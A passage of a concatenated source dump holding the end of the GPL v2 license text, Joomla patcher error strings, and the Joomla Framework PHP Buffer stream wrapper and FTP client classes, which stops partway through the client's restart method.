you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as
"you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.

	<one line to give the program's name and a brief idea of what it
does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James
Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
; Joomla! Project
; Copyright (C) 2005 - 2016 Open Source Matters. All rights reserved.
; License GNU General Public License version 2 or later; see LICENSE.txt
; Note : All ini files need to be saved as UTF-8 - No BOM

JLIB_FILESYSTEM_PATCHER_FAILED_VERIFY="Failed source verification of
file %s at line %d"
JLIB_FILESYSTEM_PATCHER_INVALID_DIFF="Invalid unified diff block"
JLIB_FILESYSTEM_PATCHER_INVALID_INPUT="Invalid input"
JLIB_FILESYSTEM_PATCHER_UNEXISING_SOURCE="Unexisting source file"
JLIB_FILESYSTEM_PATCHER_UNEXPECTED_ADD_LINE="Unexpected add line at
line %d'"
JLIB_FILESYSTEM_PATCHER_UNEXPECTED_EOF="Unexpected end of file"
JLIB_FILESYSTEM_PATCHER_UNEXPECTED_REMOVE_LINE="Unexpected remove line
at line %d"

<?php
/**
 * Part of the Joomla Framework Filesystem Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Filesystem;

/**
 * Generic Buffer stream handler
 *
 * This class provides a generic buffer stream.  It can be used to
store/retrieve/manipulate
 * string buffers with the standard PHP filesystem I/O methods.
 *
 * @since  1.0
 */
class Buffer
{
	/**
	 * Stream position
	 *
	 * @var    integer
	 * @since  1.0
	 */
	public $position = 0;

	/**
	 * Buffer name
	 *
	 * @var    string
	 * @since  1.0
	 */
	public $name;

	/**
	 * Buffer hash
	 *
	 * @var    array
	 * @since  1.0
	 */
	public $buffers = array();

	/**
	 * Function to open file or url
	 *
	 * @param   string   $path        The URL that was passed
	 * @param   string   $mode        Mode used to open the file @see fopen
	 * @param   integer  $options     Flags used by the API, may be
STREAM_USE_PATH and STREAM_REPORT_ERRORS
	 * @param   string   $openedPath  Full path of the resource. Used with
STREAN_USE_PATH option
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 * @see     streamWrapper::stream_open
	 */
	public function stream_open($path, $mode, $options, &$openedPath)
	{
		$url                        = parse_url($path);
		$this->name                 = $url['host'];
		$this->buffers[$this->name] = null;
		$this->position             = 0;

		return true;
	}

	/**
	 * Read stream
	 *
	 * @param   integer  $count  How many bytes of data from the current
position should be returned.
	 *
	 * @return  mixed    The data from the stream up to the specified number
of bytes (all data if
	 *                   the total number of bytes in the stream is less than
$count. Null if
	 *                   the stream is empty.
	 *
	 * @see     streamWrapper::stream_read
	 * @since   1.0
	 */
	public function stream_read($count)
	{
		$ret = substr($this->buffers[$this->name], $this->position,
$count);
		$this->position += \strlen($ret);

		return $ret;
	}

	/**
	 * Write stream
	 *
	 * @param   string  $data  The data to write to the stream.
	 *
	 * @return  integer
	 *
	 * @see     streamWrapper::stream_write
	 * @since   1.0
	 */
	public function stream_write($data)
	{
		$left                       = substr($this->buffers[$this->name],
0, $this->position);
		$right                      = substr($this->buffers[$this->name],
$this->position + \strlen($data));
		$this->buffers[$this->name] = $left . $data . $right;
		$this->position += \strlen($data);

		return \strlen($data);
	}

	/**
	 * Function to get the current position of the stream
	 *
	 * @return  integer
	 *
	 * @see     streamWrapper::stream_tell
	 * @since   1.0
	 */
	public function stream_tell()
	{
		return $this->position;
	}

	/**
	 * Function to test for end of file pointer
	 *
	 * @return  boolean  True if the pointer is at the end of the stream
	 *
	 * @see     streamWrapper::stream_eof
	 * @since   1.0
	 */
	public function stream_eof()
	{
		return $this->position >=
\strlen($this->buffers[$this->name]);
	}

	/**
	 * The read write position updates in response to $offset and $whence
	 *
	 * @param   integer  $offset  The offset in bytes
	 * @param   integer  $whence  Position the offset is added to
	 *                            Options are SEEK_SET, SEEK_CUR, and SEEK_END
	 *
	 * @return  boolean  True if updated
	 *
	 * @see     streamWrapper::stream_seek
	 * @since   1.0
	 */
	public function stream_seek($offset, $whence)
	{
		switch ($whence)
		{
			case \SEEK_SET:
				if ($offset < \strlen($this->buffers[$this->name]) &&
$offset >= 0)
				{
					$this->position = $offset;

					return true;
				}

				return false;

			case \SEEK_CUR:
				if ($offset >= 0)
				{
					$this->position += $offset;

					return true;
				}

				return false;

			case \SEEK_END:
				if (\strlen($this->buffers[$this->name]) + $offset >= 0)
				{
					$this->position = \strlen($this->buffers[$this->name]) +
$offset;

					return true;
				}

				return false;

			default:
				return false;
		}
	}
}

// Register the stream
stream_wrapper_register('buffer',
'Joomla\\Filesystem\\Buffer');
<?php
/**
 * Part of the Joomla Framework Filesystem Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Filesystem\Clients;

use Joomla\Filesystem\Exception\FilesystemException;

/*
 * Error Codes:
 * - 30 : Unable to connect to host
 * - 31 : Not connected
 * - 32 : Unable to send command to server
 * - 33 : Bad username
 * - 34 : Bad password
 * - 35 : Bad response
 * - 36 : Passive mode failed
 * - 37 : Data transfer error
 * - 38 : Local filesystem error
 */

if (!\defined('CRLF'))
{
	\define('CRLF', "\r\n");
}

if (!\defined('FTP_AUTOASCII'))
{
	\define('FTP_AUTOASCII', -1);
}

if (!\defined('FTP_BINARY'))
{
	\define('FTP_BINARY', 1);
}

if (!\defined('FTP_ASCII'))
{
	\define('FTP_ASCII', 0);
}

if (!\defined('FTP_NATIVE'))
{
	\define('FTP_NATIVE',
(\function_exists('ftp_connect')) ? 1 : 0);
}

/**
 * FTP client class
 *
 * @since  1.0
 */
class FtpClient
{
	/**
	 * Socket resource
	 *
	 * @var    resource
	 * @since  1.0
	 */
	private $conn;

	/**
	 * Data port connection resource
	 *
	 * @var    resource
	 * @since  1.0
	 */
	private $dataconn;

	/**
	 * Passive connection information
	 *
	 * @var    array
	 * @since  1.0
	 */
	private $pasv;

	/**
	 * Response Message
	 *
	 * @var    string
	 * @since  1.0
	 */
	private $response;

	/**
	 * Response Code
	 *
	 * @var    integer
	 * @since  1.0
	 */
	private $responseCode;

	/**
	 * Response Message
	 *
	 * @var    string
	 * @since  1.0
	 */
	private $responseMsg;

	/**
	 * Timeout limit
	 *
	 * @var    integer
	 * @since  1.0
	 */
	private $timeout = 15;

	/**
	 * Transfer Type
	 *
	 * @var    integer
	 * @since  1.0
	 */
	private $type;

	/**
	 * Array to hold ascii format file extensions
	 *
	 * @var    array
	 * @since  1.0
	 */
	private $autoAscii = array(
		'asp',
		'bat',
		'c',
		'cpp',
		'csv',
		'h',
		'htm',
		'html',
		'shtml',
		'ini',
		'inc',
		'log',
		'php',
		'php3',
		'pl',
		'perl',
		'sh',
		'sql',
		'txt',
		'xhtml',
		'xml',
	);

	/**
	 * Array to hold native line ending characters
	 *
	 * @var    array
	 * @since  1.0
	 */
	private $lineEndings = array('UNIX' => "\n",
'WIN' => "\r\n");

	/**
	 * FtpClient instances container.
	 *
	 * @var    FtpClient[]
	 * @since  1.0
	 */
	protected static $instances = array();

	/**
	 * FtpClient object constructor
	 *
	 * @param   array  $options  Associative array of options to set
	 *
	 * @since   1.0
	 */
	public function __construct(array $options = array())
	{
		// If default transfer type is not set, set it to autoascii detect
		if (!isset($options['type']))
		{
			$options['type'] = \FTP_BINARY;
		}

		$this->setOptions($options);

		if (FTP_NATIVE)
		{
			// Autoloading fails for Buffer as the class is used as a stream handler
			class_exists('Joomla\\Filesystem\\Buffer');
		}
	}

	/**
	 * FtpClient object destructor
	 *
	 * Closes an existing connection, if we have one
	 *
	 * @since   1.0
	 */
	public function __destruct()
	{
		if (\is_resource($this->conn))
		{
			$this->quit();
		}
	}

	/**
	 * Returns the global FTP connector object, only creating it
	 * if it doesn't already exist.
	 *
	 * You may optionally specify a username and password in the parameters.
If you do so,
	 * you may not login() again with different credentials using the same
object.
	 * If you do not use this option, you must quit() the current connection
when you
	 * are done, to free it for use by others.
	 *
	 * @param   string  $host     Host to connect to
	 * @param   string  $port     Port to connect to
	 * @param   array   $options  Array with any of these options:
type=>[FTP_AUTOASCII|FTP_ASCII|FTP_BINARY], timeout=>(int)
	 * @param   string  $user     Username to use for a connection
	 * @param   string  $pass     Password to use for a connection
	 *
	 * @return  FtpClient  The FTP Client object.
	 *
	 * @since   1.0
	 */
	public static function getInstance($host = '127.0.0.1', $port =
'21', array $options = array(), $user = null, $pass = null)
	{
		$signature = $user . ':' . $pass . '@' . $host .
':' . $port;

		// Create a new instance, or set the options of an existing one
		if (!isset(self::$instances[$signature]) ||
!\is_object(self::$instances[$signature]))
		{
			self::$instances[$signature] = new static($options);
		}
		else
		{
			self::$instances[$signature]->setOptions($options);
		}

		// Connect to the server, and login, if requested
		if (!self::$instances[$signature]->isConnected())
		{
			$return = self::$instances[$signature]->connect($host, $port);

			if ($return && $user !== null && $pass !== null)
			{
				self::$instances[$signature]->login($user, $pass);
			}
		}

		return self::$instances[$signature];
	}

	/**
	 * Set client options
	 *
	 * @param   array  $options  Associative array of options to set
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 */
	public function setOptions(array $options)
	{
		if (isset($options['type']))
		{
			$this->type = $options['type'];
		}

		if (isset($options['timeout']))
		{
			$this->timeout = $options['timeout'];
		}

		return true;
	}

	/**
	 * Method to connect to a FTP server
	 *
	 * @param   string   $host  Host to connect to [Default: 127.0.0.1]
	 * @param   integer  $port  Port to connect on [Default: port 21]
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function connect($host = '127.0.0.1', $port = 21)
	{
		$errno = null;
		$err   = null;

		// If already connected, return
		if (\is_resource($this->conn))
		{
			return true;
		}

		// If native FTP support is enabled let's use it...
		if (FTP_NATIVE)
		{
			$this->conn = @ftp_connect($host, $port, $this->timeout);

			if ($this->conn === false)
			{
				throw new FilesystemException(sprintf('%1$s: Could not connect to
host " %2$s " on port " %3$s "', __METHOD__,
$host, $port));
			}

			// Set the timeout for this connection
			ftp_set_option($this->conn, \FTP_TIMEOUT_SEC, $this->timeout);

			return true;
		}

		// Connect to the FTP server.
		$this->conn = @ fsockopen($host, $port, $errno, $err,
$this->timeout);

		if (!$this->conn)
		{
			throw new FilesystemException(
				sprintf(
					'%1$s: Could not connect to host " %2$s " on port
" %3$s ". Socket error number: %4$s and error message:
%5$s',
					__METHOD__,
					$host,
					$port,
					$errno,
					$err
				)
			);
		}

		// Set the timeout for this connection
		socket_set_timeout($this->conn, $this->timeout, 0);

		// Check for welcome response code
		if (!$this->_verifyResponse(220))
		{
			throw new FilesystemException(sprintf('%1$s: Bad response. Server
response: %2$s [Expected: 220]', __METHOD__, $this->response));
		}

		return true;
	}

	/**
	 * Method to determine if the object is connected to an FTP server
	 *
	 * @return  boolean  True if connected
	 *
	 * @since   1.0
	 */
	public function isConnected()
	{
		return \is_resource($this->conn);
	}

	/**
	 * Method to login to a server once connected
	 *
	 * @param   string  $user  Username to login to the server
	 * @param   string  $pass  Password to login to the server
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function login($user = 'anonymous', $pass =
'jftp@joomla.org')
	{
		// If native FTP support is enabled let's use it...
		if (FTP_NATIVE)
		{
			if (@ftp_login($this->conn, $user, $pass) === false)
			{
				throw new FilesystemException(__METHOD__ . ': Unable to
login');
			}

			return true;
		}

		// Send the username
		if (!$this->_putCmd('USER ' . $user, array(331, 503)))
		{
			throw new FilesystemException(
				sprintf('%1$s: Bad Username. Server response: %2$s [Expected:
331]. Username sent: %3$s', __METHOD__, $this->response, $user)
			);
		}

		// If we are already logged in, continue :)
		if ($this->responseCode == 503)
		{
			return true;
		}

		// Send the password
		if (!$this->_putCmd('PASS ' . $pass, 230))
		{
			throw new FilesystemException(sprintf('%1$s: Bad Password. Server
response: %2$s [Expected: 230].', __METHOD__, $this->response));
		}

		return true;
	}

	/**
	 * Method to quit and close the connection
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 */
	public function quit()
	{
		// If native FTP support is enabled lets use it...
		if (FTP_NATIVE)
		{
			@ftp_close($this->conn);

			return true;
		}

		// Logout and close connection
		@fwrite($this->conn, "QUIT\r\n");
		@fclose($this->conn);

		return true;
	}

	/**
	 * Method to retrieve the current working directory on the FTP server
	 *
	 * @return  string   Current working directory
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function pwd()
	{
		// If native FTP support is enabled let's use it...
		if (FTP_NATIVE)
		{
			if (($ret = @ftp_pwd($this->conn)) === false)
			{
				throw new FilesystemException(__METHOD__ . 'Bad response.');
			}

			return $ret;
		}

		$match = array(null);

		// Send print working directory command and verify success
		if (!$this->_putCmd('PWD', 257))
		{
			throw new FilesystemException(sprintf('%1$s: Bad response.  Server
response: %2$s [Expected: 257]', __METHOD__, $this->response));
		}

		// Match just the path
		preg_match('/"[^"\r\n]*"/', $this->response,
$match);

		// Return the cleaned path
		return preg_replace('/"/', '', $match[0]);
	}

	/**
	 * Method to system string from the FTP server
	 *
	 * @return  string   System identifier string
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function syst()
	{
		// If native FTP support is enabled lets use it...
		if (FTP_NATIVE)
		{
			if (($ret = @ftp_systype($this->conn)) === false)
			{
				throw new FilesystemException(__METHOD__ . 'Bad response.');
			}
		}
		else
		{
			// Send print working directory command and verify success
			if (!$this->_putCmd('SYST', 215))
			{
				throw new FilesystemException(sprintf('%1$s: Bad response.  Server
response: %2$s [Expected: 215]', __METHOD__, $this->response));
			}

			$ret = $this->response;
		}

		// Match the system string to an OS
		if (strpos(strtoupper($ret), 'MAC') !== false)
		{
			$ret = 'MAC';
		}
		elseif (strpos(strtoupper($ret), 'WIN') !== false)
		{
			$ret = 'WIN';
		}
		else
		{
			$ret = 'UNIX';
		}

		// Return the os type
		return $ret;
	}

	/**
	 * Method to change the current working directory on the FTP server
	 *
	 * @param   string  $path  Path to change into on the server
	 *
	 * @return  boolean True if successful
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function chdir($path)
	{
		// If native FTP support is enabled lets use it...
		if (FTP_NATIVE)
		{
			if (@ftp_chdir($this->conn, $path) === false)
			{
				throw new FilesystemException(__METHOD__ . 'Bad response.');
			}

			return true;
		}

		// Send change directory command and verify success
		if (!$this->_putCmd('CWD ' . $path, 250))
		{
			throw new FilesystemException(
				sprintf('%1$s: Bad response.  Server response: %2$s [Expected:
250].  Sent path: %3$s', __METHOD__, $this->response, $path)
			);
		}

		return true;
	}

	/**
	 * Method to reinitialise the server, ie. need to login again
	 *
	 * NOTE: This command not available on all servers
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function reinit()
	{
		// If native FTP support is enabled let's use it...
		if (FTP_NATIVE)
		{
			if (@ftp_site($this->conn, 'REIN') === false)
			{
				throw new FilesystemException(__METHOD__ . 'Bad response.');
			}

			return true;
		}

		// Send reinitialise command to the server
		if (!$this->_putCmd('REIN', 220))
		{
			throw new FilesystemException(sprintf('%1$s: Bad response.  Server
response: %2$s [Expected: 220]', __METHOD__, $this->response));
		}

		return true;
	}

	/**
	 * Method to rename a file/folder on the FTP server
	 *
	 * @param   string  $from  Path to change file/folder from
	 * @param   string  $to    Path to change file/folder to
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function rename($from, $to)
	{
		// If native FTP support is enabled let's use it...
		if (FTP_NATIVE)
		{
			if (@ftp_rename($this->conn, $from, $to) === false)
			{
				throw new FilesystemException(__METHOD__ . 'Bad response.');
			}

			return true;
		}

		// Send rename from command to the server
		if (!$this->_putCmd('RNFR ' . $from, 350))
		{
			throw new FilesystemException(
				sprintf('%1$s: Bad response.  Server response: %2$s [Expected:
350].  From path sent: %3$s', __METHOD__, $this->response, $from)
			);
		}

		// Send rename to command to the server
		if (!$this->_putCmd('RNTO ' . $to, 250))
		{
			throw new FilesystemException(
				sprintf('%1$s: Bad response.  Server response: %2$s [Expected:
250].  To path sent: %3$s', __METHOD__, $this->response, $to)
			);
		}

		return true;
	}

	/**
	 * Method to change mode for a path on the FTP server
	 *
	 * @param   string  $path  Path to change mode on
	 * @param   mixed   $mode  Octal value to change mode to, e.g.
'0777', 0777 or 511 (string or integer)
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function chmod($path, $mode)
	{
		// If no filename is given, we assume the current directory is the target
		if ($path == '')
		{
			$path = '.';
		}

		// Convert the mode to a string
		if (\is_int($mode))
		{
			$mode = decoct($mode);
		}

		// If native FTP support is enabled let's use it...
		if (FTP_NATIVE)
		{
			if (@ftp_site($this->conn, 'CHMOD ' . $mode . ' '
. $path) === false)
			{
				if (!\defined('PHP_WINDOWS_VERSION_MAJOR'))
				{
					throw new FilesystemException(__METHOD__ . 'Bad response.');
				}

				return false;
			}

			return true;
		}

		// Send change mode command and verify success [must convert mode from
octal]
		if (!$this->_putCmd('SITE CHMOD ' . $mode . ' ' .
$path, array(200, 250)))
		{
			if (!\defined('PHP_WINDOWS_VERSION_MAJOR'))
			{
				throw new FilesystemException(
					sprintf(
						'%1$s: Bad response.  Server response: %2$s [Expected: 250]. 
Path sent: %3$s.  Mode sent: %4$s',
						__METHOD__,
						$this->response,
						$path,
						$mode
					)
				);
			}

			return false;
		}

		return true;
	}

	/**
	 * Method to delete a path [file/folder] on the FTP server
	 *
	 * @param   string  $path  Path to delete
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function delete($path)
	{
		// If native FTP support is enabled let's use it...
		if (FTP_NATIVE)
		{
			if (@ftp_delete($this->conn, $path) === false)
			{
				if (@ftp_rmdir($this->conn, $path) === false)
				{
					throw new FilesystemException(__METHOD__ . 'Bad response.');
				}
			}

			return true;
		}

		// Send delete file command and if that doesn't work, try to remove
a directory
		if (!$this->_putCmd('DELE ' . $path, 250))
		{
			if (!$this->_putCmd('RMD ' . $path, 250))
			{
				throw new FilesystemException(
					sprintf('%1$s: Bad response.  Server response: %2$s [Expected:
250].  Path sent: %3$s', __METHOD__, $this->response, $path)
				);
			}
		}

		return true;
	}

	/**
	 * Method to create a directory on the FTP server
	 *
	 * @param   string  $path  Directory to create
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function mkdir($path)
	{
		// If native FTP support is enabled let's use it...
		if (FTP_NATIVE)
		{
			if (@ftp_mkdir($this->conn, $path) === false)
			{
				throw new FilesystemException(__METHOD__ . 'Bad response.');
			}

			return true;
		}

		// Send change directory command and verify success
		if (!$this->_putCmd('MKD ' . $path, 257))
		{
			throw new FilesystemException(
				sprintf('%1$s: Bad response.  Server response: %2$s [Expected:
257].  Path sent: %3$s', __METHOD__, $this->response, $path)
			);
		}

		return true;
	}

	/**
	 * Method to restart data transfer at a given byte
	 *
	 * @param   integer  $point  Byte to restart transfer at
	 *
	 * @return  boolean  True if successful
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function restart($point)
	{
		// If native FTP support is enabled let's use it...
		if (FTP_NATIVE)
		{
			if (@ftp_site($this->conn, 'REST ' . $point) === false)
			{
				throw new FilesystemException(__METHOD__ . 'Bad response.');
			}

			return true;
		}

		// Send restart command and verify success
		if (!$this->_putCmd('REST ' . $point, 350))
		{
			throw new FilesystemException(
